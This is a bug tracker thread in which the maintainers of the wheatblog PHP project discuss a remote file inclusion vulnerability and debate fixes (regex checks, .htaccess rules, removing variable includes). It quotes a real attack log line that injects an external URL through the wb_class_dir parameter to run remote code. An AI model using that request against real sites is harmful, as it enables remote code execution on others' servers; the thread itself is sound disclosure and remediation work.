Serious security issues in using include/include_once
Status: Beta
Brought to you by:
wheatbread
Menu
▾
▴
#9 Serious security issues in using include/include_once
It would probably make more sense to refer to relative files only and not
to use variables in those statements unless input is validated somehow.
Details are in recorded in secwatch http://secwatch.org/advisories/
1015085/
Logged In: YES
user_id=168317
Though we are investigating this issues, I'm not convinced
yet that this is in fact a security flaw. There have been
reports (1,2,3) as well as rebuttals (4,5). The variables
in question are populated by the settings file, not through
form fiels or query strings. So unless it can be
demonstrated that the settings file itself can be modified
directly, or that variables supplied by query strings can be
substituted for them, there's no breach.
We do, however, appreciate the bug report and will see if
additional validation code is necessary to prevent possible
exploits.
Sincerely,
James Martin
wheatblog project admin
Footnotes:
[1] http://www.securityfocus.com/archive/1/442987
[2] http://www.securityfocus.com/bid/18416
[3] http://www.securityfocus.com/bid/19482
[4] http://www.securityfocus.com/archive/1/437088
[5] http://www.securityfocus.com/bid/18416/discuss
Logged In: YES
user_id=469725
Sirs,
The malicious punters can request the sessions.php file directly as follows.
217.112.36.52 - - [14/Aug/2006:07:57:35 +0900] "GET /wheatblog//
includes/session.php?wb_class_dir=http://www.kalin.ru/.tmp/hehe.txt?
HTTP/1.1" 404 313 "-" "libwww-perl/5.79"
(Here they got the file name wrong.)
What probably saves is is 'register_globals off'. However, if web sites, for
reason or another, run PHP with 'register_globals on', this bug offers a means
to execute arbitrary PHP code remotely.
--
Petteri
Logged In: YES
user_id=168317
Petteri,
Thanks for this additional info about register globals and
the "sessions.php" file. We'll look at the code this week
and try to work up a fix.
Sincerely,
James Martin
Wheatblog project admin
Logged In: YES
user_id=168317
Note: this bug will also affect previous versions of wB.
I'm grouping it under version 1.1 for convenience.
Wheat
Logged In: YES
user_id=207101
hi wheat,
i think the easiest fix is to make sure that wb_class_dir
doesn't contain
/^http/, so something like this at the top of the file:
if ( preg_match(/^http/), $wb_class_dir )
die('Remote file inclusion is not supported.');
Actually, we should prolly be doing this for all variables
that point to file locations using require_once().
pete
Logged In: YES
user_id=469725
Hei,
Perhaps you could consider eliminating the variables in those require/
includes altogether? It would be much nicer if you can just drop the sources
in place and get started by configuring the db parameters.
--
Petteri
Logged In: YES
user_id=168317
I think the quick fix will be to wrap all include/require
statements with some variable checking, following Pete's
example (slightly corrected to include single quotes around
the match string):
if ( preg_match('/^http/', $wb_class_dir) )
die('Error: remote file inclusion is not supported.');
The unstable branch already sets most of this stuff in the
DB, doesn't it, Pete? But it's still good practice for any
we have to include.
If this fix is sufficient to clear the bug, then I'll be
happy to hack it in and get a fixed version out by the end
of this week.
Petteri, do you think this sufficiently addresses the
problem, at least for the short term?
James
Logged In: YES
user_id=207101
FWIW, I was never overly fond with having all those
variables pointing to
various directories. If we found a file that made constant
use of of one,
we could always generate, e.g., $wb_class_dir on the fly at
the top of the
file.
I think the best thing to do is to just eliminate them and
refer to the
directories explicitly. Simple, easy, and sweet.
If we didn't want to do that, then my quick fix would be the
next best
thing.
Pete
Logged In: YES
user_id=168317
Here's a little test loop I've been working on:
// set vars for testing ("/path" or "http://")
$wb_session_dir = "http://example.com";
// check the vars
$var_to_check = array("$wb_dir", "$wb_inc_dir",
"$wb_admin_dir",
"$wb_class_dir", "$wb_session_dir");
for($i=0; $i<5; $i++) {
if (preg_match('/^http/i', $var_to_check[$i]))
die('Error: remote file inclusion not supported');
// testing
echo('$var_to_check['.$i.'] = '.$var_to_check[$i].'<br
/>');
}
Logged In: YES
user_id=469725
Hei,
That is a good start. However, PHP supports many other protocols for reading
remote files. See the following URL.
http://jp2.php.net/manual/en/wrappers.php
In my opinion, it would take much less effort to eliminate any variables from
those includes. That should not be a big deal at all; wB isn't that many files
that you couldn't maintain it using a flat directory structure.
--
Petteri
Logged In: YES
user_id=207101
FWIW, I fully agree 100%.
Logged In: YES
user_id=168317
All,
Instead of (or, perhaps, in addition to) coding around this
problem in PHP, why not use .htaccess to prevent remote file
inclusion:
<Files ~ ".php$">
Order allow,deny
Deny from all
</Files>
We could include .htaccess files for all of the relevant
directories (admin/, includes/, classes/).
As to Petteri's point about blocking additional protocols,
we could change our preg_match() to match "://", which would
eliminate HTTP and FTP/SFTP attempts. Peiter, who is better
at regex than I am, can likely come up with a pattern to
match some additional protocols as well, though these would
be the ones that are most common. And blocking them would
significantly improve the security of the app.
As for recoding the app to eliminate variables from
includes, that seems a valid option. But I'd like to give
it some thought before making a final decision about how and
when to implement it. What I'd like to do is at .htaccess
and/or PHP-based remote file inclusion testing and get 1.3
out the door ASAP.
Sincerely,
James
Logged In: YES
user_id=207101
IMHO, using .htaccess is even more braindead than my
preg_match idea.
It's not security if we require the user to start playing
around with .htaccess files. It's false security because
the lowest common denominator is not going to know what the
heck we're talking about, and ignore it.
Requiring the user to take action is just nonsense for
something this simple. We should be securing this
vulnerability. Not them.
This is a putrid idea. The best fix is exactly what Petteri
suggested.
We should make the change and release a bugfix.
Pete
Logged In: YES
user_id=168317
Peiter,
No one is asking anyone to "play around with .htaccess
files." The files in question would be included with the
distribution. They users will install these files along
with all the other files that they already have to install.
To then, it's just a matter of uploading a directory. If
they can't handle that, they don't need to be installing
their own scripts.
I'll advise you to keep your comments on task. This isn't a
forum for insults, no matter how "braindead", "putrid", or
otherwise foolish you believe an idea to be. This is a
forum for putting forth ideas to address bugs. You're
welcome to contribute ideas and criticise others. You're not
welcome to insult me or anyone else.
Sincerely,
James
Logged In: NO
Hei,
Correct me if I am wrong but .htaccess is Apache specific access control
configuration. Therefore, your idea to use .htaccess to circumvent the potential
problem in wB source is flawed because not everybody uses Apache.
--
Petteri
Logged In: YES
user_id=168317
Petteri,
You are correct that .htaccess is an Apace-specific control.
We only test the app on Apache, so we could make Apache a
requirement, which it already is, for the most part. I know
of no one running the app under other webservers. And I
certainly don't have the time to test it under other servers.
So relying on .htaccess would be require making Apache a
requirement for the app, which is fine with me, actually, as
I love Apache and would prefer to encourage others to use it.
However, I proposed .htaccess as an option that could be
used either alone or in addition to PHP-based testing for
remote inclusion. So, as a solution, .htaccess would
address the concern under Apache recoding would eliminate it
on other platforms (if we choose to support them).
James